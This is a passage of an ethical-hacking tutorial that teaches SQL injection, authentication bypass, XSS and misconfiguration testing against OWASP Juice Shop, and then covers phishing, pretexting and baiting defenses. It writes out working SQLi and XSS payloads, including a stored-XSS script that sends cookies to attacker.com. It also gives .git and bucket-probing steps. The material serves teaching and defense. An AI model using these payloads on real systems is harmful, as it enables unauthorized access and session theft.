By mastering the OWASP Top 10, you build the foundation for disciplined, effective web application testing—one that balances technical rigor with ethical responsibility. This prepares you for the hands-on techniques ahead, where you’ll apply these concepts in a controlled lab environment to find and fix real weaknesses before attackers do.
Testing for SQL Injection
SQL injection remains one of the most prevalent and dangerous web application vulnerabilities. It occurs when user input is improperly sanitized and directly concatenated into SQL queries, allowing attackers to manipulate database logic. In ethical hacking, testing for SQLi involves probing input fields with payloads designed to alter query behavior, extract data, or bypass authentication. The goal is not to exploit the system maliciously but to confirm whether the application is vulnerable under controlled conditions.
Begin by identifying injection points—any location where user input is sent to the server, such as login forms, search boxes, or tracking number fields. Submit a single quote (') to test for syntax errors. If the application returns a database error (e.g., “You have an error in your SQL syntax”), it suggests the input is being interpreted as part of a SQL query. For example, in OWASP Juice Shop, entering ' in the email field of the login form triggers a SQL syntax error, confirming the field is vulnerable to injection.
Next, test for boolean-based SQLi by crafting payloads that produce true or false conditions. Enter ' OR '1'='1 in both email and password fields. If the application logs you in as a user (often the first user in the database), the condition evaluates to true, allowing authentication bypass. This works because the query becomes: SELECT * FROM users WHERE email = '' OR '1'='1' AND password = '' OR '1'='1' Since '1'='1' is always true, the WHERE clause is satisfied.
For error-based SQLi, use payloads that trigger database-specific error messages. Try ' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) in a search field. If the database version appears in an error message, the application is exposing internal details through flawed error handling—a sign of vulnerability.
Always validate findings manually before relying on scanners. Use Burp Suite to intercept and modify requests, ensuring payloads are sent exactly as intended. Remember: under your Rules of Engagement, limit testing to non-destructive payloads that confirm exploitability without altering or deleting data.
Using Burp Suite Intruder for Payload Fuzzing
Manual testing is effective for initial validation, but automating payload fuzzing improves efficiency and coverage. Burp Suite Intruder excels at this by systematically injecting payload lists into target parameters and analyzing responses for anomalies such as changes in status code, response length, or timing.
To test a login form in OWASP Juice Shop:
- Intercept a login request with Burp Proxy.
- Send it to Intruder and select the email and password parameters as payload positions.
- Choose the “Pitchfork” attack type to test paired values (e.g., email and password together).
- Load a payload list containing common SQLi strings:
' OR '1'='1 ' OR '1'='1' -- ' OR 1=1 -- admin' -- ' UNION SELECT NULL, username, password FROM users --
- Start the attack and sort results by response length. A significantly longer or shorter response may indicate successful injection.
- Look for responses that return a session token or redirect to the account page—signs of authentication bypass.
In one test, the payload admin' -- in the email field (with any password) returned a 302 redirect to /profile, confirming login as the admin user. The -- comments out the rest of the query, neutralizing the password check.
Intruder also helps detect blind SQLi. Use the “Sniper” attack type with boolean payloads like ' AND 1=1 and ' AND 1=0. Compare response lengths: a difference indicates the application behaves differently based on the condition, revealing a boolean-based vulnerability.
Always pause and review results ethically. Avoid flooding the server with excessive requests, and ensure your activity stays within agreed-upon timing windows in your ROE.
Testing for Authentication Bypass
Authentication mechanisms are frequent targets because weaknesses often allow attackers to impersonate users without needing credentials. Ethical hackers test for bypass techniques such as exploiting default credentials, flawed password reset logic, or JSON Web Token (JWT) misconfigurations—all under explicit authorization.
Start with credential testing. Many applications ship with default admin/password combinations. In OWASP Juice Shop, try [email protected] with password admin123—this fails, but [email protected] and admin works, revealing a weak default credential set. Document this as a finding only if your ROE permits testing such combinations; otherwise, report the risk generically.
Next, test password reset functionality. If the application allows reset via email, check whether the reset token is predictable or leaked in Referer headers. In Juice Shop, submitting an email triggers a reset link containing a token. If you can access another user’s account by guessing or intercepting their token (e.g., via browser history or logs), the reset mechanism is flawed.
For JWT-based auth, intercept a login response and examine the token. If it’s unsigned (alg: none) or uses a weak secret, you may forge tokens. Try decoding a Juice Shop JWT (found in localStorage after login) at jwt.io. If you can modify the sub claim to another user’s ID and re-sign it with a cracked secret, you’ve demonstrated a critical flaw—though in Juice Shop, the secret is strong, so focus on identifying whether the token is properly validated.
Other bypass vectors include:
- Username enumeration: Observe differences in response time or messages when entering valid vs. invalid usernames (e.g., “Invalid password” vs. “User not found”).
- Session fixation: If the application accepts a session ID from the URL without regenerating it post-login, an attacker could fixate a session.
- OAuth misconfigurations: Check for missing state parameters or overly permissive redirect URIs.
Always verify that any bypass attempt stays within scope. For example, testing password reset on your own account is safe; attempting to reset another user’s without consent violates ethical boundaries—even in a lab.
Error-Based and Boolean-Based SQLi: Extracting Information Through Responses
When direct data extraction isn’t possible (e.g., in blind SQLi), attackers rely on indirect channels. Ethical hackers replicate these techniques to demonstrate impact—showing how seemingly minor flaws can leak sensitive information through careful observation of application behavior.
Error-based SQLi forces the database to reveal data through error messages. In MySQL, the UPDATEXML() function can be abused: ' AND UPDATEXML(1,CONCAT(0x7e,(SELECT version()),0x7e),1) If the version appears in an error like “XPATH syntax error: ‘~5.7.30~’”, the application is leaking diagnostics. In Juice Shop, this doesn’t work by default due to error suppression, but in legacy systems, such leaks are common.
Boolean-based SQLi extracts data one bit at a time by asking true/false questions. To enumerate the database version:
- First payload:
' AND ASCII(SUBSTRING((SELECT version()),1,1)) > 64 --
If the page loads normally (true), the first character’s ASCII value is >64.
- Second payload:
' AND ASCII(SUBSTRING((SELECT version()),1,1)) > 96 --
If false, the value is between 65 and 96 (uppercase letter).
- Continue binary search until the character is identified, then move to the next position.
In practice, this is slow but effective. Using Burp Suite Intruder with the “Cluster Bomb” attack type, you can automate character-by-character extraction. Set one position for the character index and another for the guessed ASCII value. Compare responses: a true condition returns the expected content (e.g., a product listing), while false returns an error or empty result.
For example, testing Juice Shop’s search field with boolean payloads revealed that the version string started with 5 (ASCII 53), confirming MySQL 5.x. Though time-consuming, this method works even when error messages are hidden and union-based extraction is blocked.
These techniques highlight why input validation and output encoding are essential. Mitigations include using parameterized queries, implementing proper error handling (returning generic messages to users), and enforcing least-privilege database accounts. Your role as an ethical hacker is not just to find flaws but to show how they chain—e.g., how a boolean-based SQLi leak of the database version could inform a targeted exploit for a known CVE in that version.
By mastering these testing methods, you develop the discipline to assess risk accurately, validate findings responsibly, and communicate technical impact in ways that drive remediation—turning vulnerabilities into actionable insights for defenders.
Cross-Site Scripting: From Input to Execution
You test for Cross-Site Scripting (XSS) by injecting malicious scripts into user-controlled inputs and observing whether the application reflects or stores them without proper sanitization. When successful, the script executes in the victim’s browser, potentially stealing session cookies, redirecting to phishing sites, or performing actions on behalf of the user. Ethical hackers replicate these attacks to prove exploitability while minimizing harm—using harmless payloads like <script>alert('XSS')</script> in controlled environments.
Reflected XSS occurs when the application immediately includes user input in the response without validation. For example, a search function that echoes the query term directly into the HTML is vulnerable if it does not escape special characters. In OWASP Juice Shop, the search bar reflects the user’s input in the results page. Entering <img src=x onerror=alert(1)> causes an alert box to appear when the page loads, confirming the flaw. This payload uses an HTML event handler to execute JavaScript without requiring script tags, bypassing some basic filters.
Stored XSS is more dangerous because the malicious script persists on the server and is served to multiple users. Common injection points include profile fields, comment sections, or file upload functionality. In Juice Shop, the user profile’s “bio” field stores input and displays it on the public profile page. Submitting <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> saves the script to the database. When any user views the profile, the script executes and sends their cookies to the attacker’s server. To avoid actual data theft in testing, replace the external URL with a harmless endpoint like https://httpbin.org/anything or use a Burp Collaborator payload to detect interactions without exposing real data.
You can automate XSS detection using Burp Suite Scanner or Intruder. For reflected XSS, target parameters in GET or POST requests that appear in the response body. Use Intruder’s Sniper attack type to test each parameter with a list of common XSS payloads. Look for responses where the payload appears unmodified in the HTML—especially within script tags, event handlers, or URL attributes. For stored XSS, identify endpoints that accept and later display user input. Submit a unique payload (e.g., <svg/onload=alert('XSS-123')>), then trigger the display function and check for execution.
Always validate findings within your Rules of Engagement. Testing stored XSS on a live application without permission risks compromising other users. In a lab, use disposable accounts and revert changes after testing. Document the injection point, payload used, and observed impact—such as alert execution or cookie transmission—without retaining sensitive data.
Security Misconfigurations: What the Server Reveals
You identify security misconfigurations by examining server responses, directory structures, and default configurations that expose sensitive information or expand the attack surface. These flaws often stem from incomplete hardening, leftover debug features, or default credentials. Unlike injection flaws, misconfigurations do not require malicious input—sometimes simply accessing a URL is enough to trigger a leak.
Directory listing allows attackers to view the contents of a web server directory when no index file is present. If enabled, visiting https://example.com/assets/ might return a raw list of files including backups, configuration files, or source code. In Juice Shop, the /ftp/ directory is misconfigured to allow listing, revealing a package.json.bak file that exposes internal dependencies. An attacker could use this information to identify outdated libraries with known CVEs.
Exposed version control directories like .git are particularly risky. If the .git folder is accessible via the web root, an attacker can clone the repository and recover source code, commit history, and sometimes hardcoded secrets. In a misconfigured Juice Shop instance, accessing https://juice-shop.herokuapp.com/.git/HEAD returns ref: refs/heads/master, confirming the directory is exposed. From there, downloading https://juice-shop.herokuapp.com/.git/config may reveal remote repository URLs. Ethical hackers test for this by requesting common Git files (HEAD, config, logs/HEAD) and checking for 200 responses containing version control data.
Open cloud storage buckets, such as misconfigured Amazon S3 buckets, often leak sensitive data. If a bucket is set to public read, anyone can list and download its contents. In one real-world case, a healthcare provider exposed patient records via a publicly accessible S3 bucket labeled backup-prod-healthcare. Ethical hackers identify such leaks by guessing bucket names based on company names, services, or exposed subdomains. Tools like s3scanner or Burp Suite extensions automate this process. Always confirm authorization before probing cloud resources—unauthorized access violates the CFAA and similar laws.
Verbose error messages reveal stack traces, database queries, or file paths that aid attackers in crafting further exploits. An application returning a detailed SQL error after a malformed input not only confirms injection vulnerability but also discloses the database structure. In Juice Shop, triggering a division-by-zero error via /rest/product/search?q=1/0 returns a full Node.js stack trace in development mode. In production, such details should be replaced with generic messages like “Internal server error” to avoid information leakage.
HTTP Headers That Mitigate XSS
You strengthen defenses by ensuring security headers are present and properly configured. These headers instruct browsers to apply additional protections, reducing the risk of successful XSS exploitation even if a flaw exists.
The X-XSS-Protection header enables the browser’s built-in XSS filter. Setting it to 1; mode=block tells the browser to stop rendering the page if it detects a reflected XSS attempt. While modern browsers are deprecating this filter in favor of Content Security Policy, it still provides legacy protection for older browsers. In Juice Shop, this header is absent by default, leaving users reliant on output encoding alone.
The Content-Security-Policy (CSP) header is more robust. It whitelists trusted sources for scripts, styles, images, and other resources. A strict policy like script-src 'self' prevents inline scripts and blocks execution from unauthorized domains. If Juice Shop implemented script-src 'self', the <img src=x onerror=alert(1)> payload would fail because the onerror attribute executes inline JavaScript, which is disallowed. Similarly, external script calls in stored XSS would be blocked unless the attacker’s domain is explicitly allowed—which it should not be.
To test header presence, use browser developer tools or curl: ``bash curl -I https://owasp.org/www-project-top-ten/ ` Look for content-security-policy and x-xss-protection in the response. If missing or misconfigured (e.g., script-src 'unsafe-inline'), report it as a hardening opportunity. Ethical hackers recommend starting with a report-only policy (Content-Security-Policy-Report-Only`) to monitor violations before enforcing blocks, reducing the risk of breaking functionality.
Putting It Together: Testing in Juice Shop
You apply these concepts in a structured test of OWASP Juice Shop to identify XSS and misconfiguration flaws. Begin with reconnaissance: map the application using Burp Suite Spider to identify all endpoints and parameters. Focus on user-input fields—search bars, profile forms, feedback widgets—and note where input is reflected or stored.
Test for reflected XSS in the search function. Inject <svg/onload=alert('XSS-reflected')> into the q parameter. If an alert appears, confirm the vulnerability. Then, test stored XSS in the user profile bio. Log in as a test user, edit the profile to include <img src=x onerror=fetch('https://burp-collaborator.net/xss')>, save, and view the public profile. Check Burp Collaborator for interactions—if a DNS or HTTP request arrives, the script executed.
Next, scan for misconfigurations. Request /.git/HEAD—if it returns a reference like ref: refs/heads/main, the Git directory is exposed. Check /ftp/ for directory listing—if a file index appears instead of a 404, the flaw exists. Verify error handling by triggering an error (e.g., invalid JWT token) and inspecting the response for stack traces or internal paths.
Document each finding with:
- Location (URL and parameter)
- Payload or request used
- Observed behavior (alert, data leak, error details)
- Risk level based on impact and likelihood
- Mitigation guidance (e.g., “Implement output encoding using context-aware escaping” or “Disable directory listing in server configuration”)
For example, a reflected XSS finding in Juice Shop might read:
Location:/search?q=Payload:<svg/onload=alert('XSS')>Observed: Alert box rendered on page load Risk: Medium—requires user interaction but can be combined with social engineering Fix: Apply HTML entity encoding to user input before inserting into HTML context
By methodically testing for XSS and misconfigurations, you uncover flaws that attackers exploit to steal data, hijack sessions, or gain footholds in networks. Your role is not only to detect these issues but to demonstrate their real-world impact through safe, controlled proof-of-concept exploits—then guide remediation with clear, actionable advice.
Social Engineering and Human Factors
Attackers often target the weakest link in security: people. Technical controls like firewalls and encryption can be bypassed when an individual is tricked into revealing credentials, installing malware, or transferring funds. Social engineering exploits human psychology—trust, urgency, fear, and helpfulness—to achieve what brute force or code exploits cannot. As an ethical hacker, you must understand these tactics not to use them maliciously, but to recognize them in assessments, simulate them within authorized boundaries, and recommend effective defenses.
Phishing: Deceptive Messages That Steal Access
Phishing uses fraudulent emails, text messages, or websites designed to mimic legitimate entities. The goal is to trick recipients into clicking malicious links, downloading infected attachments, or entering credentials on spoofed login pages. These attacks succeed by creating a sense of urgency or legitimacy—such as a fake security alert from a bank or a package delivery notification.
For example, you might receive an email that appears to come from your company’s IT department, warning that your password will expire in 24 hours. The message includes a link to a login page that looks identical to your organization’s portal. Once you enter your username and password, the attacker captures them and gains access to internal systems. In ethical hacking engagements, simulated phishing campaigns are used to measure user susceptibility and reinforce training. Tools like GoPhish or the Social Engineer Toolkit (SET) allow testers to create realistic templates, track click rates, and report results without causing harm.
Defenses against phishing include:
- Email filtering solutions that detect spoofed domains and malicious links
- Multi-factor authentication (MFA), which prevents attackers from using stolen passwords alone
- Security awareness training that teaches users to verify sender addresses, hover over links to inspect URLs, and report suspicious messages
When testing for phishing resilience, ethical hackers follow strict Rules of Engagement. They ensure all simulated emails are clearly marked as part of a security test (e.g., via a disclaimer in the footer), avoid impersonating specific individuals without authorization, and never retain harvested credentials beyond what is necessary to demonstrate risk.
Pretexting: Fabricated Scenarios to Gain Trust
Pretexting involves creating a believable scenario or identity to manipulate a target into divulging information or performing an action. Unlike broad phishing campaigns, pretexting is often targeted and relies on research. The attacker might pose as a coworker, IT support, a vendor, or even a regulator to gain trust and extract sensitive data.
Consider a scenario where an attacker calls an employee, claiming to be from the company’s payroll department. They state that there’s an issue with direct deposit and need to confirm the employee’s bank account number and routing number for verification. Because the caller sounds professional and references internal details (possibly gathered from LinkedIn or a data breach), the employee complies—unwittingly handing over financial information.

In ethical hacking, pretexting simulations are conducted only with explicit written authorization. Testers might attempt to gather information via phone or in person, such as by pretending to be a lost contractor needing network access. These exercises reveal gaps in verification procedures and help organizations strengthen identity-proofing processes, such as requiring callback verification or multi-person approval for sensitive requests.
Key indicators of pretexting include:
- Unsolicited requests for sensitive information, even if the requester seems knowledgeable
- Pressure to act quickly or bypass standard procedures
- Inconsistencies in the story or inability to provide verifiable details
Defenses include strict policies for information release, employee training on verifying identities through independent channels, and technical controls like voice biometrics or call logging in high-risk environments.
Baiting: Luring with Promise of Reward
Baiting exploits curiosity or greed by offering something desirable—such as a free download, a gift card, or a lost USB drive—to trigger malware installation or credential theft. The victim is lured into taking an action that compromises security, often without realizing the risk.
A common example involves leaving USB drives labeled “Executive Salaries Q3” or “Confidential – Layoffs” in parking lots or office common areas. When an employee picks up the drive and plugs it into a work computer to satisfy curiosity, it automatically executes malware that grants the attacker remote access. Similarly, online baiting might offer a free movie download that, when opened, installs ransomware.
In authorized assessments, ethical hackers may use baiting to test physical and digital security awareness. For instance, they might drop harmless USB drives containing a beacon that phones home when inserted, or create a fake login page for a popular service and promote it via social media ads. These tests measure how likely users are to interact with unknown devices or unverified links.
Effective defenses against baiting include:
- Disabling autorun and restricting USB port usage via endpoint policies
- Educating employees about the risks of using found or unsolicited devices
- Employing web filters and antivirus software to block known malicious domains and files
Organizations should also establish clear procedures for reporting found devices—such as turning them in to security or IT—rather than attempting to investigate them independently.
Try This
Apply what you’ve learned this week with these concrete actions:
- Inspect your inbox: Look for one suspicious email—check the sender’s address for subtle misspellings (e.g.,
amaz0n-support.cominstead ofamazon.com), hover over links to see the true destination, and note any urgent language demanding immediate action. - Enable MFA: If you haven’t already, turn on multi-factor authentication for your email, banking, or social media accounts. Use an authenticator app or hardware key rather than SMS when possible.
- Review your organization’s policy: Locate your company’s guidelines on handling suspicious communications, reporting incidents, or using removable media. If none exist, consider proposing a simple one-page guide based on what you’ve learned.
Key Takeaways
- Social engineering exploits human traits like trust and urgency, making people a critical target in attacks that bypass technical controls.
- Phishing, pretexting, and baiting rely on deception—ethical hackers simulate these tactics only with authorization to measure risk and improve defenses.
- Defenses combine technical controls (like MFA and email filtering) with human-focused strategies (such as security awareness training and clear verification procedures).
- Ethical hacking requires restraint: simulations must avoid harm, respect privacy, and align with the principles of permission, intent, and accountability.
- By recognizing manipulation tactics and promoting a culture of verification, individuals and organizations can significantly reduce their susceptibility to social engineering.